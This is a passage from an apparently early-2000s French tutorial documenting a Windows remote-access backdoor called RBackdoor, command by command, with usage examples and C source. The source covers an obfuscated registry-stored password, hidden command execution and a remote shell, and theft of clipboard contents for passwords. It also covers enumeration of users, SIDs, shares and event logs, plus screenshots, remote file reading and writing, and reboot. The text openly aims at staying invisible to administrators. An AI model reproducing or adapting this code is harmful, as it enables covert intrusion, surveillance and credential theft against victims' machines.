   strcat(systempath, "\\");
   strcat(systempath, "Service.exe");
   err = DeleteFile(systempath);
   if(err==FALSE) rsend(ConnectSocket, "Impossible de supprimer Service.exe, celui ci est en cours d'utilisation ou n'est pas present...\n");
   GlobalFree(systempath);
   rsend(ConnectSocket, "--------------------\n");
   rsend(ConnectSocket, "- System as Clean! -\n"); 
   rsend(ConnectSocket, "--------------------\n");
   
   GlobalFree(systempath);
   return(0);
}
--------------------------------------------------------------------- 

--------------------------------------------------------------------- 

                                  -------------- |     SETPASS     | --------------

Cette commande permet de modifier le pass affect  la backdoor lors de son xecution. 
Je tiens  prciser que ce password est stock dans la base des registres mais pas de faon 
directement lisible mais crypt de faon simple, il est ensuite dcrypt on the fly par la 
backdoor pour accomplir le processus d'authentification.

Command: setpass <password>

  -> Exemple:
     RBackdoor# setpass w00w00


=> Code.

int SetPassword(char *password)
{
    unsigned int err;
    HKEY   hkey;
    DWORD  dwDisposition;	
    char key[] = { 0x72,0x4E,0x47,0x55,0x56,0x40,0x53,0x44,0x7D,0x73,0x44,0x45,0x6A,0x4E,0x45,0x63,0x00 }; 

    for(err=0;err<strlen(key);err++)
    key[err]^=0x21;
    for(err=0; err<strlen(password); err++)
    password[err]^=0x52;
   
    if(strlen(password) < 1) {
	rsend(ConnectSocket, "msg: setpass <password>");
	return(-1);
    }
    err = DelPassword(); 
    err = RegCreateKeyEx(HKEY_LOCAL_MACHINE, key, 0, NULL, 0, 0, NULL, &hkey, &dwDisposition);
    if(err == ERROR_SUCCESS) {
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,key,(DWORD)NULL,KEY_ALL_ACCESS,&hkey);
        RegSetValueEx(hkey,"password",(DWORD)NULL,REG_SZ,(const BYTE *)password,strlen(password));
	RegCloseKey(hkey);
    }
  return(err);
}

--------------------------------------------------------------------- 


                                  -------------- |     VERSION     | --------------

Affiche tout simplement la version prsente de RBackdoor.

Command: version

  -> Exemple:
     RBackdoor# version
     ===========================================================
     =                   RedKod Backdoor 1.0                   =
     =                        By R-e-D                         =
     =                  http://www.redkod.com                  =
     =                     r-e-d@redkod.com                    =
     ===========================================================


=> Code.

int Proc_SendVersion(void) 
{
	unsigned int err;
	char version[] = { 0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x2B,0x1C,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x73,0x44,0x45,0x6A,0x4E,0x45,0x01,0x63,0x40,0x42,0x4A,0x45,0x4E,0x4E,0x53,0x01,
                           0x10,0x0F,0x11,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x63,0x58,0x01,0x73,0x0C,0x44,0x0C,0x65,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x1C,0x2B,0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x49,0x55,0x55,0x51,0x1B,0x0E,0x0E,0x56,0x56,
                           0x56,0x0F,0x53,0x44,0x45,0x4A,0x4E,0x45,0x0F,0x42,0x4E,0x4C,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,
                           0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x53,0x0C,0x44,0x0C,0x45,0x61,0x53,0x44,0x45,0x4A,
                           0x4E,0x45,0x0F,0x42,0x4E,0x4C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x2B,0x00 };

    for(err=0;err<strlen(version);err++)
    version[err]^=0x21;

    rsend(ConnectSocket,version);
    rsend(ConnectSocket,"\n\n\0");
    return(0);
}

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
4) Les commandes d'obtention de shell intractif.
/////////////////////////////////////////////////////////////////////

Cette partie va exposer comment grce  la backdoor xecuter toutes 
commandes DOS, soit par une methode intractive reprsente par la 
commande 'shell' ou encore par une mthode plus directe et plus relle,
qui aura pour but de nous procurer un vrai shell dos comme sous un vrai
console dos mais tout ceci  partir du shell de RBackdoor et  distance.


  => Commandes etudies dans cette section:
/*
SHELL       Permet d'executer toute commande DOS sur le systeme cible
RSHELL      Permet de lancer un vrai shell DOS
*/


                                  -------------- |     SHELL     | --------------

Cette commande permet d'xecuter toutes commandes DOS en lui passant simplement la commande voulue
en paramtre. Toutes le commandes executes seront bien sure invisible pour l'administrateur
(A part la liste des process).
Mais attention ! Les commandes comme 'ftp', 'telnet', etc ne fonctionnent pas.

Command: shell <command>

  -> Exemple:
     RBackdoor# shell ver
     Microsoft Windows XP [version 5.1.2600]
     ou encore :
     RBackdoor# shell netstat

     Connexions actives

     Proto  Adresse locale         Adresse distante         Etat
     TCP    redkod:1040            129.108.96.2:2108        ESTABLISHED
     TCP    redkod:1497            irc.prison.net:6667      ESTABLISHED
     Etc....


=> Code.

int shell(char *buf)
{
	char szBuffer, *buffer, *command;
	FILE *file;

	buffer=(char *)GlobalAlloc(GPTR,1024);
        command=(char *)GlobalAlloc(GPTR,1024);

	if(strchr(buf, ' ')) {
        buffer = (char *)strchr(buf, ' ')+1;
	strcpy(command, "cmd.exe /C ");
         strcat(command, buffer);
	strcat(command, " > tmp");
        WinExec (command,SW_HIDE);
	GlobalFree(command);
	Sleep(1000);
	file = fopen("tmp", "r");
	if (file != NULL)
	{
        while (!feof(file))
        {
        fread(&szBuffer, 1, 1, file);
	  if(szBuffer == '\0')	rsend(ConnectSocket, "\n");
	  sprintf(buffer, "%c", szBuffer);
 	  rsend(ConnectSocket, buffer);
        }
	fclose(file);
	GlobalFree(buffer);
	DeleteFile("tmp");
	}
        else {
        rsend(ConnectSocket, "Error: Erreur lors de l'acces au fichier temporaire\n");
        return(-1);
        }
	}
	else {
	rsend(ConnectSocket, "msg: Syntax: shell <command>\n");
	GlobalFree(command);
	GlobalFree(buffer);
	return(0);

	}
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     RSHELL     | --------------

RSHELL est trs interressant, elle permet d'obtenir un vrai remote shell tout en restant
de faon intractive en possession de la backdoor, mais comme pour la commande shell, les commandes
comme 'ftp', 'telnet', etc... ne soit pas supportes.

ATTENTION!! Svp ! Evitez de quitter de faon asser barbare avec le trs connu CTRL+C.
Quittez plutot grce  la commande 'exit'. De plus si vous jouez trop avec la Backdoor et
CTRL+C vous risquez de la perdre, ce qui serais dommage.

Command: rshell

  -> Exemple:
     RBackdoor# rshell
                                          ATTENTION!!
    Pour fermer le shell veuillez tapez 'exit'! Sinon perte de la backdoor envisageable !

    Microsoft Windows XP [version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

   C:\RBackdoor>ver
   Microsoft Windows XP [version 5.1.2600]


=> Code.

 Too long, look at rshell.c in RBackdoor Project.

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
5) Les commandes de prise d'empreintes
/////////////////////////////////////////////////////////////////////

Toutes les commandes qui vont etres prsentes dans cette parties sont
destines  rcuprer un maximum d'informations sur la machine distante grce
 RBackdoor. 


  => Commandes etudies dans cette section:
/*
SYSINFO     Permet de recuperer des informations sur le systeme cible
DISKINFO    Permet de recuperer des informations sur les disques durs
CLIP        Permet de recuperer le contenu du presse papier
GETGROUPS   Permet de recuperer des informations sur les groupes, les users, les SID :)
USERINFO    Permet d'obtenir des informations sur un utilisateur
UPTIME      Permet d'afficher depuis combien de temps le systeme fonctionne
WHOAMI      Permet de recuperer l'utilisateur logge sur la machine
LISTEVENT   Permet de lister les journaux du eventlog
NETSHARE    Permer d'afficher les ressources partager de la machine local ou d'une machine distante
ENUMSERVER  Permet d'afficher les servers appartenant au domaine
SCREENSHOT  Permet de prendre un screenshot du bureau de la machine distante
*/

                                 -------------- |     SYSINFO     | --------------

Cette commande permet de rcuperer pas mal d'informations sur l'hte distante, comme
le type de processeur, la version de l'OS, l'tat de la ram ou encore la rsolution
du moniteur.

Command: sysinfo

  -> Exemple:

 Fri May 24 18:03:49 2002

 > Processor Speed : 1467 Mhz

 > Processor Name : AMD Athlon(tm) XP 1700+

 > Processor Type : INTEL PENTIUM

 > Number of processor : 1

 > OS Version : Win32 on Windows NT

 > Computer Name : REDKOD

 > Etat de la ram :
  - Octets Libres : 62881792
  - Memoire disponible : 267894784
  - Pourcentage de la memoire utilisee : 76

 > Resolution : 1280*960

=> Code.

 Too long, look at getinfos.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     DISKINFO     | --------------

DISKINFO va permettre de rcuprer diverses informations sur les lecteurs logiques prsents
sur l'hte distant, comme les types de lecteurs, les informations sur la taille, etc...

Command: diskinfo

  -> Exemple:
   RBackdoor# diskinfo
   Liste des lecteurs logiques presents sur la machine :
   A:\  : DRIVE_REMOVABLE
   C:\  : DRIVE_FIXED    FreeSpace : 2077 MB TotalSpace : 4996 MB
   D:\  : DRIVE_FIXED    FreeSpace : 12944 MB TotalSpace : 14998 MB
   E:\  : DRIVE_FIXED    FreeSpace : 11457 MB TotalSpace : 39997 MB
   F:\  : DRIVE_FIXED    FreeSpace : 16287 MB TotalSpace : 16352 MB
   G:\  : DRIVE_CDROM    FreeSpace : 0 MB TotalSpace : 0 MB
   H:\  : DRIVE_CDROM    FreeSpace : 0 MB TotalSpace : 0 MB

=> Code.

int Send_HardDriveInfos(char *szDrive, int type, unsigned __int64 i64TotalBytes, unsigned __int64 i64FreeBytes)
{
	char *buffer, *hdtype;

	buffer = (char *)GlobalAlloc(GPTR, 1024);
	hdtype = (char *)GlobalAlloc(GPTR, 256);

	switch(type)
	{
	case 0 : strcpy(hdtype, "UNKNOWN");
		break;
	case 1 : strcpy(hdtype, "UNKNOW");
		break;
	case DRIVE_REMOVABLE: strcpy(hdtype,"DRIVE_REMOVABLE");
		break;
	case DRIVE_FIXED: strcpy(hdtype, "DRIVE_FIXED");
		break;
	case DRIVE_CDROM: strcpy(hdtype, "DRIVE_CDROM");
		break;
	case DRIVE_RAMDISK: strcpy(hdtype, "DRIVE_RAMDISK");	
		break;
	default: strcpy(hdtype, "DRIVE_NETWORK");
		break;
	}
	sprintf(buffer, "%s  : %s    FreeSpace : %I64u MB TotalSpace : %I64u MB\n", szDrive, hdtype,i64FreeBytes, i64TotalBytes);
	rsend(ConnectSocket, buffer);	
	GlobalFree(buffer);
	GlobalFree(hdtype);
	return(0);
}

int Proc_GetDrivesInfos()
{
BOOL fResult;
unsigned int err;
unsigned __int64 i64TotalBytes,i64FreeBytes;
int i, iStrsLen;
char smzDrives[256], szDrive[256];
DWORD dwSectPerClust, dwBytesPerSect, dwFreeClusters, dwTotalClusters;

iStrsLen = GetLogicalDriveStrings (sizeof(smzDrives), smzDrives);

if (iStrsLen == 0)
{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative d'obtention des informations sur les lecteurs logiques\n");
    return(0);
}
else
{
   if (iStrsLen > sizeof(smzDrives))
   {
   }
   else
   {
	  rsend(ConnectSocket, "Liste des lecteurs logiques presents sur la machine :\n");
      i = 0;
      while (smzDrives[i])
      {
         strcpy (szDrive, &(smzDrives[i]));
		 err = GetDriveType(&(smzDrives[i]));
		 if(!strcmp(szDrive, "A:\\")) 
		 {
			 rsend(ConnectSocket, "A:\\  : DRIVE_REMOVABLE\n");
			 i = i + 1;
		 }
	     else {
		 fResult = GetDiskFreeSpace (&(smzDrives[i]), &dwSectPerClust, &dwBytesPerSect, &dwFreeClusters, &dwTotalClusters);		 
		 i64TotalBytes = (__int64)dwTotalClusters * dwSectPerClust * dwBytesPerSect;
                 i64FreeBytes = (__int64)dwFreeClusters * dwSectPerClust * dwBytesPerSect;
		 Send_HardDriveInfos(&(smzDrives[i]), err, i64TotalBytes / (1024*1024), i64FreeBytes / (1024*1024));
		 }         
        while (smzDrives[i]) i++;
        i++;
      }
   }
}
return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     CLIP     | --------------

CLIP va nous permettre de nous envoyer le contenu du presse papier de l'hte distant,
ce qui peut etre utile lors de la recuperation de mot de passe ou de choses dans le mme
genre.

Command: clip

  -> Exemple:
    RBackdoor# clip
    > Computer Name : REDKOD

=> Code.


int Clip()
{
	char *buffer, *strbuffer;
	if(OpenClipboard(NULL))
	{
		buffer = (char*)GetClipboardData(CF_TEXT);
        strbuffer = (char *)GlobalAlloc(GPTR, 1024);
		sprintf(strbuffer, "\n%s\n", buffer);
		rsend(ConnectSocket, strbuffer);
		GlobalFree(strbuffer);
	}
	return(0);
}

---------------------------------------------------------------------

                                -------------- |     GETGROUPS     | --------------

Cette commande est trs interressante elle va vous permettre d'obtenir la liste de tous les users, de tous les groupes, et leur
SID de la machine distante.


Command: clip

  -> Exemple:
RBackdoor# getgroups
*******************************************
Number of groups : 12
*******************************************

-------------------------------------------
=> GROUP 1 : Administrateurs
-------------------------------------------

SID : S-1-5-32-544
 - [root]       SID : S-1-5-21-1202660629-2147115235-854245398-500
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008

-------------------------------------------
=> GROUP 2 : Duplicateurs
-------------------------------------------

SID : S-1-5-32-552

-------------------------------------------
=> GROUP 3 : Invits
-------------------------------------------

SID : S-1-5-32-546
 - [user]       SID : S-1-5-21-1202660629-2147115235-854245398-501
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007
 - [IUSR_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1009

-------------------------------------------
=> GROUP 4 : Oprateurs de configuration rseau
-------------------------------------------

SID : S-1-5-32-556

-------------------------------------------
=> GROUP 5 : Oprateurs de sauvegarde
-------------------------------------------

SID : S-1-5-32-551

-------------------------------------------
=> GROUP 6 : Utilisateurs
-------------------------------------------

SID : S-1-5-32-545
 - [INTERACTIF] SID : S-1-5-4
 - [Utilisateurs authentifis]  SID : S-1-5-11
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008

-------------------------------------------
=> GROUP 7 : Utilisateurs avec pouvoir
-------------------------------------------

SID : S-1-5-32-547

-------------------------------------------
=> GROUP 8 : Utilisateurs du Bureau  distance
-------------------------------------------

SID : S-1-5-32-555

-------------------------------------------
=> GROUP 9 : Utilisateurs du dbogueur
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1012
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007

-------------------------------------------
=> GROUP 10 : VS Developers
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1014

-------------------------------------------
=> GROUP 11 : Web Anonymous Users
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1010
 - [IUSR_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1009

-------------------------------------------
=> GROUP 12 : Web Applications
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1011
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007

*******************************************


=> Code.

Too long, look at sid.c in RBackdoor project...

---------------------------------------------------------------------

                                 -------------- |     USERINFO    | --------------

La commande USERINFO va permettre une obtention d'informations (SID, etc...) sur un utilisateur donn.

Command: userinfo <\\server> <user>

  -> Exemple:
    RBackdoor# userinfo \\REDKOD R-e-D

    > USER NAME : R-e-D
    > USER SID : S-1-5-21-1202660629-2147115235-854245398-1008
    > ACCOUNT STATUS : password doesnt expire

=> Code.

nt get_usr_info(char *host, char *user)
{
   NET_API_STATUS nas;
   USER_INFO_1    usrinfos;
   LPBYTE         *buf = NULL;

   if(strlen(host) < 1 || strlen(user) < 1)
   {
	   Proc_help("userinfo");
	   return(-1);
   }

   buf = (LPBYTE *)GlobalAlloc(GPTR, sizeof(USER_INFO_1));

   nas = NetUserGetInfo((unsigned short *)AsWideString(host), (unsigned short *)AsWideString(user), 1, buf);
   
   rsend(ConnectSocket, "\n > USER NAME : ");
   rsend(ConnectSocket, user);
   rsend(ConnectSocket, "\n > USER ");
   LookupSID(host, user);
   
   if(nas){
     rsend(ConnectSocket, "Error: couldnt get user info.");
   }
   else{
     memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));

     if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : password not required, how about that.\n");
     if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account disabled\n");
     if( (UF_LOCKOUT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account locked out\n");
     if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : password doesnt expire\n");
     if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : user cant change password\n");
     if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account for some other box in this domain\n");
     if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account for what is prolly the BDC\n");
     if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : interdomain permit to trust account\n");
   }
   return(0);
   GlobalFree(buf);
}

--------------------------------------------------------------------- 

                                 -------------- |     UPTIME    | --------------

La commande UPTIME va vous permettre de savoir depuis combien de temps la machine est active.

Command: uptime

  -> Exemple:
     RBackdoor# uptime
     Date: 05-18-2002
     Time: 17:52:21

=> Code.

void uptime(void)
{
  char *buffer;
  SYSTEM_TIME_INFORMATION Sti;
  LONG                    status;
  FILETIME                ftSystemBoot;
  SYSTEMTIME              stSystemBoot;

  buffer = (char *)GlobalAlloc(GPTR, 1024);

  NtQuerySystemInformation = (PROCNTQSI)GetProcAddress(GetModuleHandle("ntdll"),"NtQuerySystemInformation");


  if (!NtQuerySystemInformation)
     return;

  status = NtQuerySystemInformation(3,&Sti,sizeof(Sti),0);
  if (status!=NO_ERROR)
     return;

  ftSystemBoot = *(FILETIME *)&(Sti.liKeBootTime);

  FileTimeToLocalFileTime(&ftSystemBoot,&ftSystemBoot);
  FileTimeToSystemTime(&ftSystemBoot,&stSystemBoot);

  sprintf(buffer, "Date: %02d-%02d-%04d\nTime: %02d:%02d:%02d\n",
         stSystemBoot.wMonth,stSystemBoot.wDay,stSystemBoot.wYear,
         stSystemBoot.wHour,stSystemBoot.wMinute,stSystemBoot.wSecond);
  rsend(ConnectSocket, buffer);
  GlobalFree(buffer);
}

--------------------------------------------------------------------- 

                                 -------------- |     WHOAMI    | --------------

La commande WHOAMI va nous permettre de savoir quel utilisateur local est logg sur la machine,
Ce qui nous permettra d'observer si l'administrateur est logg et donc profiter de ses droits. :)

Command: whoami

  -> Exemple:
     RBackdoor# whoami
     Current User: R-e-D

=> Code.

int SendUserName()
{
	char *acUserName;
	DWORD nUserName = 256;
	acUserName = (char *)GlobalAlloc(GPTR, 256);
        if (GetUserName(acUserName, &nUserName) == 0) {
	rsend(ConnectSocket, "Error: Erreur lors de la tentative d'obtention de l'user logu\n");
	GlobalFree(acUserName);
 	return(-1);
        }
	rsend(ConnectSocket, "Current User: ");
	rsend(ConnectSocket, acUserName);
	rsend(ConnectSocket, "\n");
        GlobalFree(acUserName);
        return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     LISTEVENT    | --------------

LISTEVENT va nous permettre de lister les evenements prsents dans l'eventlog de la machine distante.

Command: listevent <host> <type>

  -> Exemple:
     Backdoor# listevent \\REDKOD Applications
     > 00  Event ID: 0x00000001 EventType: 1 Source: r00ted

=> Code.

int ListEvent(char *host, char *type)
{
	HANDLE h;
	EVENTLOGRECORD *pevlr;
	BYTE bBuffer[1024];
	DWORD dwRead, dwNeeded, dwThisRecord = 0;
	char *buffer;
	
	buffer = (char *)GlobalAlloc(GPTR, 1024);
	
	if(strlen(host)<1 || strlen(type) < 1)
	{
		Proc_help("listevent");
		return(-1);
	}
	
	h = OpenEventLog(host, type);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	pevlr = (EVENTLOGRECORD *) &bBuffer;
	
	while (ReadEventLog(h,EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ,0,pevlr,1024,&dwRead,&dwNeeded)) {
		while (dwRead > 0) {
			sprintf(buffer, " > %02d  Event ID: 0x%08X ", dwThisRecord++, pevlr->EventID);
			rsend(ConnectSocket, buffer);
			sprintf(buffer, "EventType: %d Source: %s\n", pevlr->EventType, (LPSTR) ((LPBYTE) pevlr + sizeof(EVENTLOGRECORD)));
			rsend(ConnectSocket, buffer);
			dwRead -= pevlr->Length;
			pevlr = (EVENTLOGRECORD *) ((LPBYTE) pevlr + pevlr->Length);
		}
		pevlr = (EVENTLOGRECORD *) &bBuffer;
	}
	CloseEventLog(h);
	GlobalFree(buffer);
	return(0);
}


--------------------------------------------------------------------- 


                                 -------------- |     NETSHARE    | --------------

La commande NETSHARE permet de lister les ressources partages presentes sur une machine du rseau.

Command: netshare <\\server>

  -> Exemple:
     RBackdoor# netshare \\REDKOD
     =====================================
     => 6 Entrees sur 6
     =====================================
     > E$                       disk    *     E:\
     > IPC$                     ipc     *
     > D$                       disk    *     D:\
     > F$                       disk    *     F:\
     > ADMIN$                   disk    *     C:\WINDOWS
     > C$                       disk    *     C:\

=> Code.

Too long, look at netbios.c in the RBackdoor Project.

--------------------------------------------------------------------- 

                                 -------------- |     ENUMSERVER    | --------------

La commande ENUMSERVER permet de lister les machines presentes dans le domaine auquel appartient la machine infecte.

Command: enumserver <\\server>

=> Code.

Too long, look at netbios.c in the RBackdoor Project.

--------------------------------------------------------------------- 

                                 -------------- |     SCREENSHOT    | --------------

La commande SCREENSHOT va prendre une 'photo' de l'tat du bureau distant.

Command: screenshot <file.bmp>

   -> Exemple:
      RBackdoor# screenshot c:\ScreenShot.bmp
      msg: Bitmap captured to disk file.
      
=> Code.

Too long, look at screenshot.c in the RBackdoor Project.

--------------------------------------------------------------------- 


/////////////////////////////////////////////////////////////////////
6) Les commandes de lecture et d'criture de fichiers.
/////////////////////////////////////////////////////////////////////

  Je prsenterais dans cette section les commandes permettant d'afficher 
Le contenu d'un fichier ou encore d'altrer son contenu. 

=> Commandes etudies dans cette section:
/*
VIEW        Permet de lire le contenu d'un fichier
WRITE       Permet d'ecrire directement dans un fichier
*/

                                 -------------- |     VIEW    | --------------

La commande VIEW est trs simple d'utilisation, elle permet d'afficher le contenu
d'un fichier.

Command: view <file>

  -> Exemple:
     RBackdoor# view boot.ini
     [boot loader]
     timeout=30
     default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
     [operating systems]
     multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel"
     /fastdetect


=> Code.

int Proc_View(char *arg)
{
    char szBuffer, *buffer;
    FILE *file;
    
    if(strlen(arg) < 1) {
		rsend(ConnectSocket, "msg: view <file>");
		return(-1);
	}

	file = fopen(arg, "r");
	if (file != NULL)
	{
	buffer=(char *)GlobalAlloc(GPTR,1024);
    while (!feof(file))
    {
      fread(&szBuffer, 1, 1, file);
	  if(szBuffer == '\0')	rsend(ConnectSocket, "\n"); 
	  sprintf(buffer, "%c", szBuffer);
	  rsend(ConnectSocket, buffer);
    }
	fclose(file);
	GlobalFree(buffer);
	}
	else rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture du fichier\n"); 
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     WRITE    | --------------

Cette commande est tres utile, elle permet de modifier
Tout fichier, ce qui peut tre utile pour diter des fichiers de configuration directement
 partir de RBackdoor.

Command: write <file>

  -> Exemple:
     RBackdoor# write dir.txt
     msg: Fichier ouvert avec succes. [Taper 'EOF' Et entrer pour sauvegarder et quitter]
     HELLO
     EOF
     msg: dir.txt : Sauvegarde avec succes.

     RBackdoor# view dir.txt
     HELLO

=> Code.

int Write(char *path)
{
	FILE *file;
	unsigned int err;
	char *buffer;

        if(strlen(path) < 1) {
		rsend(ConnectSocket, "Command: write <file>\n");
		return(-1);
	}

	file = fopen(path, "wb");
	if(file==NULL)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture ou de creation du fichier\n");
		return(-1);
	}
	else {
		rsend(ConnectSocket, "msg: Fichier ouvert avec succes. [Taper 'EOF' Et entrer pour sauvegarder et quitter]\n");
		buffer = (char *)GlobalAlloc(GPTR, 1024);
	
        while(1)
	{	
		err = recv(ConnectSocket, buffer, RECV_BUF_MAXLEN, 0);
		Proc_Error(err);
		buffer[err] = '\0';
        if(!strcmp(buffer, "EOF\n")) 
		{
			rsend(ConnectSocket, "msg: ");
			rsend(ConnectSocket, path);
			rsend(ConnectSocket, " : Sauvegarde avec succes.\n");
			fclose(file);
			GlobalFree(buffer);
			break;
		}
		else fwrite(buffer, strlen(buffer), 1, file);
	} 
	}
	return(0);
}

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
- 7) Les commandes permettant d'agir directement sur le comportement ou la configuration de la machine distante.
/////////////////////////////////////////////////////////////////////

 Dans cette section, je prsenterais les commandes qui vous permettre d'agir directement sur
Le comportement de la machine distance ou encore sur sa configuration.

=> Commandes etudies dans cette section:
/*
BEEP        Fait beeper le haut parleur interne
LOGOFF      Permet de fermer la session de l'utilisateur courant
REBOOT      Permet de redemarrer la machine
MSGBOX      Permet d'envoyer une boite de dialogue au systeme cible avec message personalisee
MOUSE       Permet de placer le curseur de la souris au coordonnees x et y voulues
SENDKEY     Permet d'emuler la pression d'une touche du clavier
SETNAME     Change le nom NetBios du serveur
ADDEVENT    Permet d'ajouter un evenement dans l'eventlog
ADDSHARE    Permet d'ajouter une ressource partagee
DELSHARE    Permet de retirer une ressource partagee
CLEARLOG    Permet d'effacer un journal complet de l'eventlog
*/

                                 -------------- |     BEEP    | --------------

La commande BEEP permet de faire 'beeper' l'haut parleur interne de la cible. D'ailleurs la fonction prsente
Fait un peu plus que a, elle crer une sorte d'alarme, ce qui va srement alerter et surtout tonner
Ladministrateur. :)

Command: beep

  -> Exemple:
     RBackdoor# beep
     msg: Beep en cours d'execution...
     msg: Emission des beeps terminee

=> Code.

void beep(void)
{
	int i;
	rsend(ConnectSocket, "msg: Beep en cours d'execution...\n");
	for(i=0;i<5;i++)
	{
        _beep(200,250);
		_beep(400,500);
	}
	rsend(ConnectSocket, "msg: Emission des beeps terminee\n");
}

--------------------------------------------------------------------- 

                                 -------------- |     LOGOFF    | --------------

Cette commande permet de fermer la session courante de l'utilisateur, ce qui peut dsactiver la backdoor
Jusque la prochaine session s'il elle n'est pas lance en tant qu'agent SYSTEM.

Command: logoff

  -> Exemple:
     RBackdoor# logoff

=> Code.

ExitWindows(0, 0); // Et oui, tout simplement. :)

--------------------------------------------------------------------- 

                                 -------------- |     REBOOT    | --------------

Alors la, commande trs radicale, elle permet de redmarrer la machine distante, par exemple
Aprs la modification d'un fichier de configuration qui ncessite un redmarrage pour tre pris
En compte.

Command: reboot

  -> Exemple:
     RBackdoor# reboot
     Etes vous sure de vouloir redemarrer la machine? (Y/N)Y
     
     La machine va redemarrer dans 5 secondes...

=> Code.

int reboot()
{
	HANDLE hToken;    	    
	TOKEN_PRIVILEGES tkp; 	
        unsigned int err;
	char *buffer;

	buffer = (char *)GlobalAlloc(GPTR, 1024);

	rsend(ConnectSocket, "Etes vous sure de vouloir redemarrer la machine? (Y/N)\n");
	err = recv(ConnectSocket, buffer, RECV_BUF_MAXLEN, 0);
	buffer[err] = '\0';
	if(!strcmp(buffer, "Y\n"))
	{
